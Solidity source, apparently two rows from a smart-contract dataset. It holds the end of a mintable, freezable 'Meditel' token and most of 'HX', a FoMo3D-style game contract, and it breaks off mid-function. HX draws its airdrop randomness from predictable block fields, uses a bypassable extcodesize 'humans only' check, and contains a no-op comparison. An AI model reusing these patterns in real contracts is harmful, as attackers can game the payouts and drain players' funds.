function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Meditel";
string public constant TOKEN_SYMBOL = "TEL";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x977Ba37c8C1d1964f207C1C22F053f12263EC834;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x977ba37c8c1d1964f207c1c22f053f12263ec834)];
uint[1] memory amounts = [uint(72000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 4,909 |
pragma solidity ^0.4.24;
contract HXevents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is HXevents {}
contract HX is modularShort {
using SafeMath for *;
using NameFilter for string;
using HXKeysCalcLong for uint256;
address community_addr = 0x31D19054aa337207573E3aFf7644a9Fe0EB094C2;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xc6645d6c197f2d634822f08da5809065bad03785);
string constant public name = "HX";
string constant public symbol = "HX";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => HXdatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => HXdatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => HXdatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => HXdatasets.TeamFee) public fees_;
mapping (uint256 => HXdatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = HXdatasets.TeamFee(30,0);
fees_[1] = HXdatasets.TeamFee(43,0);
fees_[2] = HXdatasets.TeamFee(56,0);
fees_[3] = HXdatasets.TeamFee(43,8);
potSplit_[0] = HXdatasets.PotSplit(15,0);
potSplit_[1] = HXdatasets.PotSplit(20,0);
potSplit_[2] = HXdatasets.PotSplit(25,0);
potSplit_[3] = HXdatasets.PotSplit(30,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. ");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
HXdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
HXdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
HXdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
HXdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
HXdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
HXdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
HXdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
HXdatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit HXevents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit HXevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit HXevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit HXevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit HXevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, HXdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit HXevents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, HXdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit HXevents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, HXdatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(HXdatasets.EventReturns memory _eventData_)
private
returns (HXdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, HXdatasets.EventReturns memory _eventData_)
private
returns (HXdatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(HXdatasets.EventReturns memory _eventData_)
private
returns (HXdatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot.mul(6) / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen));
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
community_addr.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = 0;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, HXdatasets.EventReturns memory _eventData_)
private
returns(HXdatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _aff = _eth / 5;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit HXevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_com = _com.add(_aff);
}
community_addr.transfer(_com);
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, HXdatasets.EventReturns memory _eventData_)
private
returns(HXdatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 50);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(24)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
